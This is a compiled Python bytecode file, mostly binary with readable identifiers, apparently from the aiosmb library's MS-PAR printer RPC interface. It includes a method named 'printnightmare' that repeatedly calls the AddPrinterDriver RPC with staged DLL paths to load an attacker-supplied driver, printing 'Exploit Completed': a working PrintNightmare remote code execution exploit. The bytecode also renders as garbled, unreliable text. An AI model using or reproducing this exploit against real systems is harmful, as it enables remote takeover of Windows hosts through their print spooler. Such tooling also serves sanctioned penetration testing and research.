o
    Žõ±j­  ã                   @   sÄ   d dl Z d dlmZ d dlmZ d dlmZ d dlmZ d dl	m
Z
 d dlmZ d dlmZ d d	lmZ d d
lmZmZmZmZmZmZmZmZ d dlZd dlmZ eddd„ƒZG dd„ dƒZdS )é    N)Úpar)Úlogger)Ú
DCERPCAuth)ÚDCERPCTarget)ÚSMBConnection)ÚDCERPC5Connection)ÚNULL)ÚEPM)ÚRPC_C_AUTHN_LEVEL_NONEÚRPC_C_AUTHN_LEVEL_CONNECTÚRPC_C_AUTHN_LEVEL_CALLÚRPC_C_AUTHN_LEVEL_PKTÚRPC_C_AUTHN_LEVEL_PKT_INTEGRITYÚRPC_C_AUTHN_LEVEL_PKT_PRIVACYÚDCERPCExceptionÚRPC_C_AUTHN_GSS_NEGOTIATE)ÚasynccontextmanagerTFc                 C  sR   �t j| |||d�I d H \}}|r|‚z|V  W | ¡ I d H  d S | ¡ I d H  w )N©Ú
auth_levelÚopenÚperform_dummy)ÚPARRPCÚfrom_smbconnectionÚclose)Ú
connectionr   r   r   ÚinstanceÚerr© r   ú•/root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/aiosmb/dcerpc/v5/interfaces/parmgr.pyÚparrpc_from_smb   s   €"r   c                   @   sŒ   e Zd Zdd„ Zdd„ Zdd„ Zedd
ededefdd„ƒZ	edd
e
dedefdd„ƒZdd„ Zddd„Zddd„Zdeddd	fdd„ZdS ) r   c                 C   s$   d | _ tj| _d | _d| _i | _d S )Nr   )Úservice_pipenamer   ÚMSRPC_UUID_PARÚservice_uuidÚdceÚ
handle_ctrÚprinter_handles©Úselfr   r   r   Ú__init__#   s
   
zPARRPC.__init__c                 Ã   s   �| S )Nr   r&   r   r   r   Ú
__aenter__-   s   €zPARRPC.__aenter__c                 Ã   s   �|   ¡ I d H  dS ©N©TN)r   )r'   Úexc_typeÚexcÚ	tracebackr   r   r   Ú	__aexit__0   s   €zPARRPC.__aexit__NTFr   r   r   c              
   Ã   s®   �z?t ƒ }| |_|j |¡ |d u r|j t¡ |j ¡ I d H \}}|d ur(|‚|jj|jdd�I d H \}}|d ur<|‚|d fW S  tyV } z
d|fW  Y d }~S d }~ww )N)z$8A885D04-1CEB-11C9-9FE8-08002B104860z2.0)Útransfer_syntaxF)r   r#   Úset_auth_levelr   ÚconnectÚbindr"   Ú	Exception)r   r   r   r   ÚserviceÚ_r   Úer   r   r   Úfrom_rpcconnection4   s$   €
€ÿzPARRPC.from_rpcconnectionc              
   Ã   s.  �zˆzd|du r	t }t | ¡}| ¡ I dH \}}|dur|‚| tƒ j¡I dH \}}|dur/|‚tj|| d�}t	 
| j¡}	t|	|ƒ}
tj|
|||d�I dH \}}|durU|‚|dfW W |durf| ¡ I dH  S S  ty‰ } zd|fW  Y d}~W |dur„| ¡ I dH  S S d}~ww |dur–| ¡ I dH  w w )z–
		Creates the connection to the service using an established SMBConnection.
		This connection will use the given SMBConnection as transport layer.
		N)Úsmb_connectionr   )r   r	   r   r2   Úmapr   r"   r   Úfrom_connection_stringr   Úfrom_smb_gssapiÚgssapir   r8   Ú
disconnectr4   )r   r   r   r   Úepmr6   r   Ú	constringÚtargetÚdcerpc_authÚrpc_connectionr5   r7   r   r   r   r   J   s>   €


ÿýÿ€ýÿzPARRPC.from_smbconnectionc              
   Ã   sd   �z| j rz| j  ¡ I d H  W W d S    Y W d S W dS  ty1 } z
d |fW  Y d }~S d }~ww r*   )r#   r>   r4   )r'   r7   r   r   r   r   m   s   €þ€ÿzPARRPC.closeé   Ú c                 Ã   sJ   �|d dkr|d7 }t  | j|||¡I d H \}}|d ur!d |fS |d fS )Néÿÿÿÿú )r   ÚhRpcAsyncEnumPrinterDriversr#   )r'   ÚenvironmentsÚlevelÚnameÚdriversr   r   r   r   Úenum_driversz   s   €zPARRPC.enum_driversúWindows x64c                 Ã   sj   �| j |dd�I d H \}}|d urd |fS |D ]}tt |j¡jƒd }d|v r.|d f  S qd tdƒfS )NrD   )rJ   z\UNIDRV.DLLÚFileRepositoryzFailed to obtain driverpath)rM   ÚstrÚpathlibÚPureWindowsPathÚ
DriverPathÚparentr4   )r'   rI   rL   r   ÚdriverrS   r   r   r   Úget_driverpath‚   s   €ÿzPARRPC.get_driverpathÚ1234c                 Ã   sä  ��zO|d u r| j |d�I d H \}}|d urd |fW S |d dkr%|d7 }|d dkr/|d7 }|d dkr9|d7 }|d dkrC|d7 }t ¡ }d|d< d|d d< d|d d	 d
< ||d d	 d< ||d d	 d< ||d d	 d< ||d d	 d< d|d d	 d< tjdB dB }	| d¡d }
tj| j|||	d�I d H \}}|d ur¤|‚|du r±td |d ¡ƒ d|d d	 d< tj| j|||	d�I d H \}}|d urÎ|‚|du rÛtd |d ¡ƒ t	ddƒD ]n}zJd ||
¡|d d	 d< tj| j|||	d�I d H \}}|d u�r|‚|du �rtd |d |d ¡ƒ |d dk�r+|du �r&tdƒ W  W d S W qà t
�yN } z|du �rDtd!|d |f ƒ W Y d }~qàd }~ww W d"S  t
�yq } z|du �rct ¡  d |fW  Y d }~S d }~ww )#N)rI   rF   rG   rD   ÚLevelÚ
DriverInfoÚtagé   ÚLevel2ÚcVersionÚpNameÚpEnvironmentÚpDriverPathÚ	pDataFilez C:\Windows\System32\winhttp.dll ÚpConfigFileé   i €  ú\)r^   ÚpDriverContainerÚdwFileCopyFlagsFz[*] Stage 0: {0}Ú	ErrorCodez#C:\Windows\System32\kernelbase.dll z[*] Stage 1: {0}é   é   z4C:\Windows\System32\spool\drivers\x64\3\old\{0}\{1} z[*] Stage {0}: {1}r   z[+] Exploit Completedr+   z[*] Stage %s: %s)FN)rV   r   ÚDRIVER_CONTAINERÚAPD_COPY_ALL_FILESÚsplitÚhRpcAsyncAddPrinterDriverr#   ÚprintÚformatÚranger4   r.   Ú	print_exc)r'   ÚshareÚ
driverpathÚhandlerI   rK   Úsilentr   Úcontainer_infoÚflagsÚfilenameÚrespÚir7   r   r   r   Úprintnightmare�   s|   €




ý
€ý
€ýzPARRPC.printnightmare©NTF)rD   rE   )rN   )Ú__name__Ú
__module__Ú__qualname__r(   r)   r/   Ústaticmethodr   Úboolr8   r   r   r   rM   rV   r   r{   r   r   r   r   r   "   s    
"

r   r|   )r.   Úaiosmb.dcerpc.v5r   Úaiosmbr   Ú1aiosmb.dcerpc.v5.common.connection.authenticationr   Ú)aiosmb.dcerpc.v5.common.connection.targetr   Úaiosmb.connectionr   Úaiosmb.dcerpc.v5.connectionr   Úaiosmb.dcerpc.v5.dtypesr   Ú'aiosmb.dcerpc.v5.interfaces.endpointmgrr	   Úaiosmb.dcerpc.v5.rpcrtr
   r   r   r   r   r   r   r   rQ   Ú
contextlibr   r   r   r   r   r   r   Ú<module>   s    (	
